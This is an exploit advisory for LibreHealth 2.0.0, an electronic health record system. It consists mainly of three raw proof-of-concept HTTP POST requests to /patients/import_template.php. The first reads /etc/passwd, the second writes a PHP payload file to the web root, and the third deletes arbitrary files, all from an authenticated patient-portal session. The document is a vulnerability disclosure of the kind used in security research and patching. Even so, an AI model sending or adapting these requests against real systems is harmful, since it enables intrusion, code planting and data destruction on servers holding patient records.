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LibreHealth 2.0.0 File Read / File Delete / LFI

LibreHealth 2.0.0 File Read / File Delete / LFI
Posted Nov 7, 2018
Authored by Carlos Avila

LibreHealth version 2.0.0 suffers from arbitrary file read, file delete, and local file inclusion vulnerabilities.

tags | exploit, arbitrary, local, vulnerability, file inclusion
MD5 | c623d621a1af63ea7a2cc412995fc1a4

LibreHealth 2.0.0 File Read / File Delete / LFI

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# Exploit Title: LibreHealth 2.0.0 - Arbitrary File Actions 
# Date: 2018-10-19
# Exploit Author: Carlos Avila
# Vendor Homepage: https://librehealth.io/
# Software Link: https://github.com/LibreHealthIO/lh-ehr
# Version: < 2.0.0
# Tested on: Debian LAMP, LibreHealth 2.0.0

# LibreHealth is the 'fork' of the OpenEMR project. I have executed these PoCs
# based on on Bug Reported by Joshua Fam [@Insecurity]

# 1.Arbitrary File Read:
# In LibreHealth a user that has access to the portal patient (authenticated) can send a
# malicious POST request to read arbitrary files.

POST /patients/import_template.php HTTP/1.1
Host: 192.168.6.200
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: LibreHealthEHR=jujkd0kvkpde70328l2v79kl90; PHPSESSID=gi8mp1e30csk5k7ji2hjo99lu4
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded

mode=get&docid=/etc/passwd

# This attack represents a file inclusion attack (LFI)
# 2.Arbitrary File Write:
# In LibreHealth a user that has access to the portal patient (authenticated) can send
# a malicious POST request to write arbitrary files.

POST /patients/import_template.php HTTP/1.1
Host: 192.168.6.200
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: LibreHealthEHR=jujkd0kvkpde70328l2v79kl90; PHPSESSID=gi8mp1e30csk5k7ji2hjo99lu4
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded

mode=save&docid=payload.php&content=<?php phpinfo();?>

# When you send the attack you can browse the website where the file was written and
# the payload.php at http://192.168.6.200/patients/payload.php
# 3. Arbitrary File Delete:
# In LibreHealth a user that has access to the portal patient (authenticated) can send a
# malicious POST request to delete a arbitrary file.

POST /patients/import_template.php HTTP/1.1
Host: 192.168.6.200
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: LibreHealthEHR=jujkd0kvkpde70328l2v79kl90; PHPSESSID=gi8mp1e30csk5k7ji2hjo99lu4
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded

mode=delete&docid=payload.php

# When you make the attack you can navigate on the deleted page and you should receive 404 error (page not found)


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